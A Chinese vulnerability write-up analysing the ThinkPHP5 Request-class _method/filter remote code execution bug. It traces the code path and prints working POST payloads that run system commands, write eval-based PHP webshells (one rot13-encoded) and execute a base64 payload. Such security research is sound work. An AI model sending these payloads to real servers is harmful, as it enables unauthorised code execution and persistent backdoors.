ThinkPHP5核心Request类导致的RCE

简介

Thinphp团队在实现框架中的核心类Requestsmethod方法实现了表单请求类型伪装,默认为$_POST['_method']变量,却没有对$_POST['_method']属性进行严格校验,可以通过变量覆盖掉Requets类的属性并结合框架特性实现对任意函数的调用达到任意代码执行的效果。

影响版本

  • 5.0.0<=ThinkPHP<=5.0.23
  • 5.1.0<=ThinkPHP<=5.1.31

本文中分析以5.0为例,主要分为两种

  • 5.0.0<=ThinkPHP<=5.0.12
  • 5.0.13<=ThinkPHP<=5.0.23

在低版本中不存在利用上的限制,

在高版本中需要开启debug或者存在验证码的路由

POC

5.0.0<=ThinkPHP<=5.0.12

无限制

1
2
POST /?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system

5.0.13<=ThinkPHP<=5.0.23

需要路由

1
2
POST /?s=captcha/calc
_method=__construct&filter[]=system&method=GET

漏洞分析

低版本分析

5.0.10为例

代码流程

首先在开启debug的时候会直接在下面的箭头处触发RCE,这里我们先把debug关掉

在这里插入图片描述

跟进routeCheck方法

这里会调用Route类得check方法

在这里插入图片描述

跟进check方法

这里会调用Request类的method方法

在这里插入图片描述

跟进method方法

通过POST接受一个参数,这个接受的参数名为_method,根据接受到的参数值,取调用方法

核心漏洞点就是这个,由于没有对参数进行限制导致可以调用__construct,初始化filter变量

在这里插入图片描述

跟进__construct方法

在这里插入图片描述

但此时注意,这只是设置了filter的值,还需要取调用

最终导致RCE的位置在filterValue

在这里插入图片描述

此方法被input方法调用,input方法被多个方法调用

在这里插入图片描述

可以看到,如果开启debug的情况下,直接就可以在1处触发RCE

在这里插入图片描述

但在未开启的情况下,需要跟进exec方法

在此方法中调用了module方法

在这里插入图片描述

module中会加载控制器

在这里插入图片描述

controller方法中会反射一个类

在这里插入图片描述

invokeClass方法中调用了bindParams方法

在这里插入图片描述

最终调用param方法触发RCE

在这里插入图片描述

调用堆栈

在这里插入图片描述

复现

在这里插入图片描述

高版本分析对比

5.0.20为例

代码分析

为什么,在不开debug的时候无法利用呢?

刚刚我们知道,在apprun方法调用routeCheck方法设置了filter的值

然后调用exec,继而调用module方法,最终出发了RCE

这个过程中,未对我们设置的filter进行处理

但是在较高版本中的module方法中

在调用Loader加载控制器之前对filter进行了置空操作

在这里插入图片描述

为什么存在验证码路由的时候可以呢?

既然module行不通,那就换其他的分支,比如controller或者method

在这里插入图片描述

那么这个type值怎么才能是这个呢

全局搜索

在这里插入图片描述

查看调用

在这里插入图片描述

继续跟进

可以看到是在Routecheck方法中调用的

在这里插入图片描述

如果存在这个路由别名,就可以了,但是我的测试环境不存在,就不加了,主要知道为什么就好

$roules为空的时候一切免谈

扩展利用

其实到目前为止已经存在很多的利用方式

比如,调用\think\__include_file或者调用Langload方法取文件包含

或者一些其他的关于文件写入的

这里提几个payload

调用Build类的module方法写文件

产生错误

poc

1
2
3
POST /index.php?s=captcha

_method=__construct&filter[0]=think\Build::module&filter[1]=error_reporting&method=GET*get[0]=../public/0&get[1]=a;"/../../public/123".phpinfo();//

访问地址

127.0.0.1/123".phpinfo();/controller/Index.php

不产生错误

poc

1
2
3
POST /index.php?s=captcha

_method=__construct&method=GET&server[]=1&filter[]=think\Build::module&get[]=index//../../public//?><?php eval($_GET[a]);?>

访问地址

127.0.0.1/%3f><%3fphp eval($_GET[a]);%3f>/controller/Index.php?a=phpinfo();

php过滤器+rot13绕过

poc1

1
b=../public/./<?cuc riny(trgnyyurnqref()["pzq"]);?>&_method=__construct&filter=think\Build::moudle&a=1&method=GET

poc2

1
b=php://filter/read=string.rot13/resource=./<?cuc riny(trgnyyurnqref()["pzq"]);?>/controller/Index.php&_method=__construct&filter=think\__include_file&a=1&method=GET

代码执行

这个个人比较喜欢

影响版本

  • <=5.0.18
  • 因为在19以上的版本,display方法中使用了$this

具体就是调用set_error_handler重置了框架的异常处理函数,返回值不可控的情况下调用Requestpath函数

在初始化的时候通过postpath传参重置了$this->path变量,导致调用path方法的返回值成为可控值

poc

1
2
3
POST /index.php?s=captcha&g=implode

path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3N1cHBwLnBocCcsJ3N1cGVyIGd1ZXNzc3NlcnMnKTsgPz4=&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=base64_decode&filter[]=\think\view\driver\Php::Display&method=GET

end

参考